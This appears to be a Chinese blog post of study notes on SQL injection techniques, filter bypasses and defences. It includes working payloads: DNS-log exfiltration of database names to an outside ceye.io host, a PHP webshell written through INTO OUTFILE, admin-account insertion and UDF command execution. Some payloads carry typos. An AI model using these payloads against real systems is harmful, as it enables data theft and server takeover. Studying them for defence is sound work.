网络安全笔记-SQL注入

news2024/11/16 0:17:16

文章目录

  • 前言
  • 一、数据库
    • 1、Information_schema
    • 2、相关函数
  • 二、SQL注入分类
    • 1、联合查询注入(UNION query SQL injection)
      • 语法
    • 2、报错注入(Error-based SQL injection)
      • 报错注入分类
      • 报错函数
      • 报错注入原理
    • 3、盲注
      • 布尔型盲注(Boolean-based blind SQL Injection)
      • 基于时间延迟盲注(Time-based blind SQL injection)
      • dnslog
    • 4、堆叠注入(Stacked Injections-Stacked queries SQL injection多语句查询SQL注入)
  • 三、SQL注入类型扩展
    • 带外通道技术(Out-Of-Band)
      • 泛域名解析
    • 宽字节注入
    • 二次注入
  • 四、SQL注入点
    • SELECT注入
      • 注入点在select_expr
      • 注入点在GROUP BY或ORDER BY后
      • 注入点在LIMIT后
    • INSERT注入
      • 1、注入点位于lbl_name
      • 2、注入点位于VALUES
      • 3、UPDATE注入
      • 4、DELETE注入
  • 五、SQL注入防御
    • 1、SQL注入的过滤与绕过
      • 混淆和绕过
        • 1、关键词组过滤
        • 2、union过滤绕过
        • 3、where过滤绕过
        • 4、limit过滤绕过
        • 5、group by过滤绕过
        • 6、select及单引号过滤绕过
        • 7、hex、unhex、及substr过滤绕过 -binary
        • 8、空格过滤绕过
        • 9、=过滤绕过
        • 10、双写绕过
        • 11、双重编码绕过
        • 12、转义函数绕过
    • 注入防御
    • SQL注入之命令执行

前言

SQL注入是开发者对用户输入的参数过滤不严格,导致用户输入的数据能够影响预设查询功能的一种技术,通常将导致数据库的原有信息泄露、篡改,甚至被删除。

一、数据库

1、Information_schema

在这里插入图片描述

如果程序过滤information_schema,无法获取表名,利用polygon()进行绕过,括号里填上存在的列名(一般都有id这个列),即可爆出表名


2、相关函数

Database():返回当前网站所用数据库名
Version():返回当前数据库版本
User():返回当前数据库用户名
Group_concat():将查询的多行数据合并成一行进行显示,括号里面要填入要查询的列名
Union select():联合查询,连接上一条语句,合并查询
Order by():对查询结果进行排序,用法是Order by列名,在SQL注入中接数字,来判断列数
Limit n,1:从你表中的第n条数据开始,读取1个

#
-- 任意字符
/**/
;%00

用户访问网页经过如下流程
1、Web浏览器中输入网址并连接到目标服务器;
2、业务逻辑层的Web服务器从本地存储加载index.php脚本并解析;
3、脚本连接位于数据访问层的DBMS,并执行SQL;
4、数据访问层的DBMS返回SQL的执行结果给Web Server;
5、业务逻辑层的Web Server将页面封装成HTML格式发送给表示层的浏览器;
6、表示层的浏览器解析HTML并将内容呈现给用户。

SQL注入就发生在该过程的第四步

二、SQL注入分类

按照类型可分为两类:数字型、字符型

  • 数字型:通常语句类型为 select * from <表名> where id = x
    通常构造 and 1=1 以及 and 1 =2 进行判断。
  • 字符型:通常语句类型为 select * from <表名> where id = ‘x’
    通常构造 and ‘1’ = '1 以及 and ‘1’ = ’ 2来判断

1、联合查询注入(UNION query SQL injection)

1、判断是否存在注入(单引号或双引号判断)
2、判断字段数、获取显示位
3、获取所有数据库名
4、获取所有表名
5、获取所有数据

语法

Select * from users where id=1 Union select xxx
将多条查询语句的结果合并成一个结果

要求:多条查询语句的查询列数是一致的

注意事项:在网站中,可能开发者设置功能为输出一条数据,所以我们得把前面的select语句设置为假(一般设置成不存在的数据),后面的union才能进行输出

2、报错注入(Error-based SQL injection)

报错注入分类

MySQL报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,使程序报错,报出相应的数据信息
可以将MySQL报错注入分为以下几类:

1、BigInt等数据类型溢出;
2、Xpath语法错误;
3、count()+rand()+group_by()导致重复;
4、空间数据类型函数错误。

报错函数

很多函数会导致MySQL报错并显示出数据:

1、floor函数
2、extractvalue函数;(最多32个字符)
3、updatexml函数
4、exp函数
  • updatexml(XML_document,XPath_string,new_value):
    第一个参数:xml文档的名称
    第二个参数:xpath格式的字符串
    第三个参数:替换查找到的符合条件的数据
    简而言之功能就是查找一个字符串,并进行替换。而我们在xpath也就是第二个参数那里传入xpath不认识的特殊字符,并加上一些查询语句,mysql就会把错误和查询语句结果报错显示出来。这就是xpath报错注入原理。
    必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat函数
    xpath只会对特殊字符进行报错,这里我们可以用~,16进制的0x7e来进行利用。
    xpath只会报错32个字符,所以要用到substr

报错注入原理

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、盲注

布尔型盲注(Boolean-based blind SQL Injection)

流程

1、判断是否存在注入(单引号或双引号判断)
2、获取数据库长度
3、逐字猜解数据库名
4、猜解表名数量
5、猜解某个表长度
6、逐字猜解表名
7、猜解列名数量
8、猜解某个列长度
9、逐字猜解列名
10、判断数据数量
11、猜解某条数据的长度
12、逐位猜解数据

基于时间延迟盲注(Time-based blind SQL injection)

时间盲注常用函数

substr(a,b,c):从b位置开始,截取字符串a的c长度。
count():返回当前列的数目
ascii():返回字符的ASCIIlength():返回字符串的长度
left(a,b):从左往右截取字符串a的前b个字符
sleep(n):将程序挂起n秒
binary ,更多函数参考slq 官网reference

if(a,b,c) 如果条件a成了,则执行b,否则执行c
select case when(条件) then 代码1 else 代码2 end

dnslog

当我们碰到一个sql盲注的时候,一般是利用二分法,一个个字符的猜。这样很麻烦,还有可能因为请求次数过多,被防火墙拦截ban ip,这是好可以利用dnslog进行注入
常规的注入流程就是攻击者通过get方式活着post方式传输payload,然后受害者服务器经过sql查询把数据返回给攻击者
Dnslog方式是把payload通过dns请求发送,然后看dns日志就获取到数据了。

4、堆叠注入(Stacked Injections-Stacked queries SQL injection多语句查询SQL注入)

一堆SLQ语句(多条)一起执行。
在MySQL中,主要是命令行中,每一条语句结尾加;表示语句结束。这样可以将多条语句一起使用。
在这里插入图片描述
注意:
并不是每一个环境下都可以执行,很可能受到API或者数据库引擎不支持的限制,同时权限不足也是面临的主要问题。
真实环境中:
1、通常只能返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的;
2、在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

三、SQL注入类型扩展

攻击类别SLQ注入类型说明
INBANDError-based Injection;UNION query Injection在应用内直接获取数,通过应用等返回或者报错提取数据
INFERENCEBoolean-based Blind Injection ;Time-based Blind injection通过应用的非直接数据反馈进行推断
OUT OF BANDOOB SQL Injection通过其他信道获得数据

带外通道技术(Out-Of-Band)

带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞

这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。

带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。

常规通信信道(Inband):
用户向客户端发送请求,客户端向服务器发送请求,服务器返回结果给客户端,客户端返回结果给用户。

OOB(非应用内信道):
黑客向客户端发送恶意请求,客户端向服务器发送恶意请求,服务器向黑客的服务器执行请求(并携带数据),黑客的服务器向黑客返回目标数据。

在这里插入图片描述
在这里插入图片描述

泛域名解析

泛域名解析就是利用通配符的方式将所有的次级域名指向同一IP
www.example.com 和abc.example.com都会访问到同一个站点。
在注册域名并配置域名解析的时候,在DNS服务器中配置了下面的记录。
*.example.com | IP

在这里插入图片描述

1、大获取数据库表名
?id=1’ and load_file(concat(“\\”,(select database()),“.7as54b.ceye.io\abc”))–+
2、获取表名

?id=1’ and load_file(concat(“\\”,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),“.7as54b.ceye.io\abc”))–+
在这里插入图片描述

宽字节注入

目的:逃逸绕过转义函数
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
以下三句话效果等同

SET character_set_client = x;
SET character_set_results = x;
SET character_set_results = x;

同样这些参数也可以通过my.ini/cnf进行静态设置。
在这里插入图片描述在这里插入图片描述

二次注入

在这里插入图片描述

四、SQL注入点

该节从SQL语句的语法角度,从不同的注入点位置讲述SQL注入的技巧

SELECT注入

SELECT语句用于数据表记录的查询,常在界面展示的过程中使用,如新闻的内容、界面的展示等。SELECT语句的语法如下:

SELECT [ALL | DISTINCT | DISTINCTROW]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]
select_expr[,select_expr …]
[FROM table_references]
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}]
[ASC | DESC],… [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], …]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
CHARACTER SET charset_name]
export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHAre MODE]]

注入点在select_expr

源代码如sqln1.php所示。

<?php
	$conn = mysqli_connect("127.0.0.1","root","root","test");
	$res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM wp_news");
	$row = mysqli_fetch_array($res);
	echo "<center>";
	echo "<h1>".$row['title']."</h1>";
	echo "<br>";
	echo "<h1>".$row['content']."</h1>";
	echo "</center>";
?>

此时可以采取时间盲注进行数据获取,不过根据MySQL的语法,我们有更优的方法,即利用AS别名的方法,直接将查询的结果显示到界面中。访问链接
http://192.168.20.133/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title。
###注入点在table_reference
上文中的SQL查询语句改为如下:

$res = mysqli_query($conn, "SELECT title FROM ${_GET['table']}");

我们仍然可以用别名的方式直接取出数据,如
SELECT title FROM (SELECT pwd AS title FROM wp_user)x;
当然,在不知表名的情况下,可以先从information_schema.tables中查询表名。
在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号。

###注入点在WHERE或HAVING后
SQL查询语句如下:

$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE id = ${_GET[id]}");

要先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。
注入点在HAVING后的情况与之相似。

注入点在GROUP BY或ORDER BY后

当遇到不是WHERE后的注入点时,先在本地的MySQL中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。假设代码如下:

$res = mysqli_query($conn, "SELECT title FROM wp_news GROUP BY ${_GET['title']}");

经过测试可以发现,title = id desc,(if(1,sleep(1),1))会让页面延迟1秒,于是可以利用时间注入获取相关数据。

基本上,只要对输入的值进行白名单对比,基本上就能防御这种注入。

注入点在LIMIT后

LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。另外,我们可根据SELECT语法,通过加入PROCEDURE来尝试注入,这类语句只适合MySQL5.6前的版本

select id from wp_news limit 2 procedure analyse(extractvalue(1,concat(0x3a,version())),1);

同样可以基于时间注入,语句如下:

PROCEDURE analyse((SELECT extractvalue(1, concat(0x3a, (IF(MID(VERSION(),1,1) LIKE 5, BENCHMARK(5000000, SHA1(1)), 1))))), 1)

BENCHMARK语句的处理时间大约是1秒。在有写入权限的特定情况条件下,我们也可以使用INTO OUTFILE语句向Web目录写入webshell,在无法控制文件内容的情况下,可通过"SELECT xx INTO outfile “/tmp/xxx.php” LINES TERMINATED BY’<?php phpinfo();?>’ "的方式控制部分内容。

select 1 into outfield '/tmp/1234.php' LINES TERMINATED BY '<?php ph);?>';

INSERT注入

INSERT语句是插入数据表记录的语句,网页设计中常在添加新闻、用户注册、回复评论的地方出现、INSERT的语法如下:
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION(partition_name [, partition_name]…)]
[(col_name [, col_name] …)]
{VALUES | VALUE}(value_list)[, (value_list)]…
[ON DUPLICATE KEY UPDATE assignment_list]
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY][IGNORE]
[INTO]tbl_name
[PARTITION (partition_name [, partition_name] …)]
SET assignment_list
[ON DUPLICATE KEY UPDATE assignment_list]=
INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE]
[INTO]tbl_name
[PARTITION (partion_name [, partition_name] …)]
[(col_name [,col_name]…)]
SELECT …
[ON DUPLICATE KEY UPDATE assignment_list]
通常,注入位于字段名或字段值的地方,且没有回显信息。

1、注入点位于lbl_name

如果能够通过注释符注释后续语句,则可直接插入特定数据到想要的表内,如管理员表。如,对于下列SQL语句:

$res = mysqli_query($conn, "INSERT INTO {$_GET['table']} VALUES(2,2,2,2)");

开发者预想的是,控制table的值为wp_news,从而插入新闻表数据。由于可以控制表名,我们可以访问http://192.168.20.132/insert.php?table=wp_user values(2,‘newadmin’,‘newpass’)%23,访问前、访问后的wp_user表,可见成功插入一个新的管理员。

2、注入点位于VALUES

假设语句如下:
INSERT INTO wp_user VALUES(1, 1, ‘可控位置’);
此时可先闭合单引号,然后另行插入一条记录,通常管理员和普通用户在同一个表,此时便可以通过表字段来控制管理员权限。注入语句如下:
INSERT INTO wp_user VALUES(1, 0, ‘1’),(2, 1, ‘aaaa’);
如果用户表的第2个字段代表的是管理员权限标识,便能插入一个管理员用户。在某些情况下,我们也可以将数据插入能回显的字段,来快速获取数据。假设最后一个字段的数据会被显示到页面上,那么采用如下语句注入,即可将第一个用户的密码显示出来:
INSERT INTO wp_user VALUES(1, 1, ‘1’),(2, 2, (SELECT pwd FROM wp_user LIMIT 1));

3、UPDATE注入

UPDATE语句适用于数据库记录的更新,如用户修改自己的文章、介绍信息、更新信息等。UPDATE语句的语法如下:
UPDATE [LOW_PRIORITY][IGNORE]table_reference
SET assignment_list
[WHERE where_condition]
[ORDER BY…]
[LIMIT row_count]
value:
{expr | DEFAULT}
assignment:
col_name = value
assignment_list:
assignment[,assignment]…
例如,以注入点位于SET后为例。一个正常的update语句如
up_date wp_user set id =3 where user = ‘23’
可见原先表wp_user id为3的数据被修改。
当id数据可控时,则可修改多个字段数据,形如
UPDATE wp_user SET id = 3,user=‘xxx’ WHERE user = ‘23’;
其余位置的注入点利用方式与SELECT注入类似,这里不再赘述。

4、DELETE注入

DELETE注入大多在WHERE后。假设SQL语句如下。

$res = mysqli_query($conn, "DELETE FROM wp_news WHERE id = {$_GET['id']}");

DELETE语句的作用是删除某个表的全部或指定行数据。对id参数进行注入时,稍有不慎就会使WHERE后的值为
True,导致整个wp_news的数据被删除。

delete from wp_news where id=1 or 1;

为了保证不会对正常数据造成干扰,通常使用’and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行,如:

delete from wp_news where id = 1 and sleep(1);

后续步骤与时间盲注一致。

五、SQL注入防御

  • 减少错误信息反馈
  • 对特殊符号进行转义(黑名单)
    比如 $id = mysql_escape_string($id)
    将对id中以下特殊进行转义
    \x00 \n \r \ ’ " \x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
  • 对输入特殊词组进行过滤(黑名单)
    常见的关键字:and、or、union、select、空格等等过滤。

1、SQL注入的过滤与绕过

混淆和绕过

普通的注入方式过于明显,很容易被检测。
因此,需要改变攻击的手法,绕过检测和过滤,即混淆和绕过。
具体操作针对于服务端和WAF的防御机制有多种手段。

1、关键词组过滤

关键词组过滤指对于用SQL注入攻击相关的语句加以过滤,如select,union,sleep等,在WAF和服务端都可以进行。
以union为例,即在服务端对用户输入的union词组删除。

$sql="where id = " .sqli($id);
$sql=str_replace("union","",$sql);

过滤代码

preg_match('/(and|or)/i',$id)

过滤情况

1 or 1 = 1 1 and 1 = 1

绕过方法

1 || 1 = 1 1 && 1 = 1
2、union过滤绕过

过滤代码

preg_match('/(and|or|union)/i',$id)

过滤情况

union select user,password from users

绕过方法

1 || (selsect user form users where user_id = 1) = 'admin'

在这里插入图片描述

3、where过滤绕过

过滤代码

preg_match('/(and|or|union|where)/i',$id)

过滤情况

1 || (select user from users where user_id = 1) = 'admin'

绕过方法

1 || (selsect user form users limit 1,1) = 'admin'
4、limit过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit)/i',$id)

过滤情况

1 || (selsect user form users limit 1,1) = 'admin'

绕过方法

1 || (selsect min(user) form group_by user_id having user_id = 1) = 'admin'
5、group by过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit|group by)/i',$id)

过滤情况

1 || (selsect min(user) form group_by user_id having user_id = 1) = 'admin'

绕过方法

1 || selsect substr((select group_concat(name) name from test),1,1) = 't'
6、select及单引号过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit|group by|select)/i',$id)

过滤情况

1 || selsect substr((select group_concat(name) name from test),1,1) = 't'

绕过方法

1 || substr(name,1,1) = 0x74
1 || substr(name,1,1) = unhex(74)
7、hex、unhex、及substr过滤绕过 -binary

过滤代码

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i',$id)

过滤情况

1 || substr(name,1,1) = unhex(74)

绕过方法

1 || binary(name) = 0x74657374

在这里插入图片描述

其他:
left(str,index)
right(str,index)
substring(str,index)
mid(str, index,ken)
lpad(str,len,padstr) rpad(stolen,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,

8、空格过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i',$id)

过滤情况

1 || binary(name) = 0x74657374

绕过方法

添加 /**/

在这里插入图片描述

9、=过滤绕过

在这里插入图片描述

10、双写绕过

在这里插入图片描述

11、双重编码绕过

过滤代码

WAF:urldecode(param)->过滤

过滤情况

1/**/||/**/binary(name)/**/=/**/0x74657374

绕过方法

1%252f
12、转义函数绕过

简单绕过

$Id=mysql_real_escape_string("1 OR 1=1");
$Sql="SELECT * FROM table WHERE id = $ID";
$Sql="SELECT * FROM table WHERE id = 1 OR 1=1";

注入防御

1、代码与数据分离:预编译
2、禁止用户账号出现特殊符号

SQL注入之命令执行

通过SQL注入,直接写入webshell文件到服务器,通过GET方法或者POST方法提交并执行外部指令,为后续进一步远程控制,提权,创造条件。
关键语句:

<?php system($_GET["cmd"]);?>

注入方式:

select username, password from users where id = '1' union select 1,'<?php system($_GET["cmd"]);?>'into outfield '/var/www/html/cmd.php';

还可以利用“用户自定义函数”的方式,即User-Defined Functions(UDF)来执行命令。通过lib_mysqludf_sys提供的函数可以执行系统命令,关键语句:

1、sys_eval(),执行任意命令,并将输出返回
2、sys_exec(),执行任意命令,并将返回码返回
3、sys_get(),获取一个环节变量
4、sys_set(),创建或修改一个环境变量
在这里插入图片描述
在这里插入图片描述
dumpfige vs outfile
若我们想把一个可执行2进制文件用into outfile函数导出,事实上导出后就会被破坏,因为into outfile函数会在行末端写入新行更致命的是会转义换行符,这样的话这个2进制可执行文件就会被破坏,这时候我们用into dumpfile就能导出一个完整能执行的2进制文件into dumpfile函数不对任何列或行进行终止,也不执行任何转义处理

一般过程:
获取用户传参->拼接SQL语句->(SQL注入发生)->编译SQL语句->解析SQL语句
参数化查询:
编译SQL语句->获取用户传参->绑定用户传参->解析SQL语句
对用户传入的参数进行了转义

存储过程
存储过程是指数据库中存放了一组为完成特定功能生成的SQL语句,这些语句一次编译后永久有效,用户通过指定存储过程的名字并给出参数来执行这些语句。

存储过程VS参数化查询

存储过程的SQL语句存放在数据库中,用户通过调用这些过程获取数据
参数化查询的SQL语句是通过Web应用完成执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1391009.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ROS第 2 课 ROS 系统安装和环境搭建

文章目录 方法一&#xff1a;一键安装&#xff08;推荐&#xff09;方法二&#xff1a;逐步安装&#xff08;常规安装方式&#xff09;1.版本选择2.检查 Ubuntu 的软件和更新源3.设置 ROS 的下载源3.1 设置国内下载源3.2 设置公匙3.3 更新软件包 4. 安装 ROS5. 设置环境变量6. …

HBase 基础

HBase 基础 HBase1. HBase简介1.1 HBase定义1.2 HBase数据模型1.2.1 HBase逻辑结构1.2.2 HBase物理存储结构1.2.3 数据模型 1.3 HBase基本架构 2. HBase环境安装2.1 HBase 安装部署2.1.1 HBase 本地按照2.1.2 HBase 伪分布模式安装2.1.3 HBase 集群安装 2.2 HBase Shell操作2.2…

springcloud Alibaba中gateway和sentinel联合使用

看到这个文章相信你有一定的sentinel和gateway基础了吧。 官网的gateway和sentinel联合使用有些过时了&#xff0c;于是有了这个哈哈&#xff0c;给你看看官网的&#xff1a; 才sentinel1.6&#xff0c;现在都几了啊&#xff0c;所以有些过时。 下面开始讲解&#xff1a; 首先…

JAVAEE初阶 文件IO(一)

这里写目录标题 一. 计算机中存储数据的设备1.1 CPU1.2 内存1.3 硬盘1.4 三种存储的区别 二.文件系统2.1 相对路径2.2 绝对路径2.3 .和..的含义2.4 例子2.5 everything工具 三.文件3.1 文本文件3.2 二进制文件 四. JAVA对于文件的API4.1 getParent getName getPath getAbsolute…

Dubbo服务降级:保障稳定性的终极指南【六】

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 Dubbo服务降级&#xff1a;保障稳定性的终极指南【六】 前言服务降级概述服务降级配置服务降级最佳实践 前言 在构建分布式系统时&#xff0c;不可避免地会面临高流量、网络故障和服务不可用等问题。…

Python | 三、函数

函数的形参和实参&#xff08;对应卡码网11题句子缩写&#xff09; 除非实参是可变对象&#xff0c;如列表、字典和集合&#xff0c;则此时形参会复制实参的地址&#xff0c;即此时二者指向同一个地址&#xff0c;因此在函数内对形参的操作会影响到实参除这种情况外&#xff0…

FlinkAPI开发之处理函数

案例用到的测试数据请参考文章&#xff1a; Flink自定义Source模拟数据流 原文链接&#xff1a;https://blog.csdn.net/m0_52606060/article/details/135436048 概述 之前所介绍的流处理API&#xff0c;无论是基本的转换、聚合&#xff0c;还是更为复杂的窗口操作&#xff0c…

Kafka-RecordAccumulator分析

前面介绍过&#xff0c;KafkaProducer可以有同步和异步两种方式发送消息&#xff0c;其实两者的底层实现相同&#xff0c;都是通过异步方式实现的。 主线程调用KafkaProducer.send方法发送消息的时候&#xff0c;先将消息放到RecordAccumulator中暂存&#xff0c;然后主线程就…

HCIA—— 16每日一讲:HTTP和HTTPS、无状态和cookie、持久连接和管线化、(初稿丢了,这是新稿,请宽恕我)

学习目标&#xff1a; HTTP和HTTPS、无状态和cookie、持久连接和管线化、HTTP的报文、URI和URL&#xff08;初稿丢了&#xff0c;这是新稿&#xff0c;请宽恕我&#x1f636;‍&#x1f32b;️&#xff09; 学习内容&#xff1a; HTTP无状态和cookieHTTPS持久连接和管线化 目…

Angular系列教程之MVC模式和MVVM模式

文章目录 MVC模式MVVM模式MVC与MVVM的区别Angular如何实现MVVM模式总结 在讨论Angular的时候&#xff0c;我们经常会听到MVC和MVVM这两种设计模式。这两种模式都是为了将用户界面(UI)和业务逻辑分离&#xff0c;使得代码更易于维护和扩展。在这篇文章中&#xff0c;我们将详细介…

[Python练习]使用Python爬虫爬取豆瓣top250的电影的页面源码

1.安装requests第三方库 在终端中输入以下代码&#xff08;直接在cmd命令提示符中&#xff0c;不需要打开Python&#xff09; pip install requests -i https://pypi.douban.com/simple/ 从豆瓣网提供的镜像网站下载requests第三方库 pip install requests 是从国外网站下…

Android 11以上根据package name查询应用是否安装,Koltin

Android 11以上根据package name查询应用是否安装&#xff0c;Koltin Android 11和过去较早Android版本不同&#xff0c;需要在Androidmanifest.xml里面配置<queries>属性&#xff1a; <manifest xmlns:android"http://schemas.android.com/apk/res/android&quo…

ACL【新华三与华为的区别】

【解释】acl简单点解释就是&#xff0c;一套根据需求而设置的规则 【背景】 192.168.1.0/24 网段不允许访问 192.168.2.0/24 网段&#xff0c;要求使用基本 ACL 实现20_1 可以访问 20_6 的 TELNET 服务&#xff0c;但不能访问 FTP 服务 【操作步骤】 {易混点 }&#xff1a;1. …

端智能在大众点评搜索重排序的应用实践

1 引言 随着大数据、人工智能等信息技术的快速发展&#xff0c;云计算已经无法满足特定场景对数据隐私、高实时性的要求。借鉴边缘计算的思想&#xff0c;在终端部署 AI 能力逐渐步入大众的视野&#xff0c;“端智能”的概念应运而生。相比于传统的云计算&#xff0c;在智能手…

【征服redis5】redis的Redisson客户端

目录 1 Redisson介绍 2. 与其他Java Redis客户端的比较 3.基本的配置与连接池 3.1 依赖和SDK 3.2 配置内容解析 4 实战案例&#xff1a;优雅的让Hash的某个Field过期 5 Redisson的强大功能 1 Redisson介绍 Redisson 最初由 GitHub 用户 “mrniko” 创建&#xff0c;并在…

【project】estimate Aβ-PET pattern

1.17 1.16 1.14 写一个函数&#xff0c;输入是每个文件的地址&#xff0c;然后能做这一系列的操作 用AFM0095进行bbr的配准 方法一&#xff0c;间接配准&#xff0c;frmi先到str&#xff0c;再到mni&#xff08;str2fmri后再fmri2str&#xff09; fmri2str 只需要dof 6,6个自…

[足式机器人]Part2 Dr. CAN学习笔记-Advanced控制理论 Ch04-17 串讲

本文仅供学习使用 本文参考&#xff1a; B站&#xff1a;DR_CAN Dr. CAN学习笔记-Advanced控制理论 Ch04-17 串讲

爬虫之Cookie获取:利用浏览器模拟一个cookie出来、面对反爬虫、加密的cookie的应对方法

爬虫之Cookie获取&#xff1a;利用浏览器模拟一个cookie出来、面对反爬虫、加密的cookie的应对方法 在爬虫或模拟请求时&#xff0c;特别是获取验证码的时候&#xff0c;反爬虫的网站的cookie或定期失效&#xff0c;复制出来使用是不行的为了应对这种方式&#xff0c;我们可能…

Qt 状态机框架:The State Machine Framework (一)

一、什么是状态机框架 状态机框架提供了用于创建和执行状态图/表[1]的类。这些概念和表示法基于Harel的Statecharts&#xff1a;一种复杂系统的可视化形式&#xff0c;也是UML状态图的基础。状态机执行的语义是基于状态图XML&#xff08;SCXML&#xff09;的。 状态图提供了一…

实人认证(人像三要素)API:加强用户身份验证

前言 在当今数字化时代&#xff0c;随着互联网应用的广泛普及&#xff0c;用户身份验证的重要性日益凸显。实人认证&#xff08;人像三要素&#xff09;API作为一种新型的身份验证方式&#xff0c;凭借其高效、安全和便捷的特性&#xff0c;正在成为加强用户身份验证的强大工具…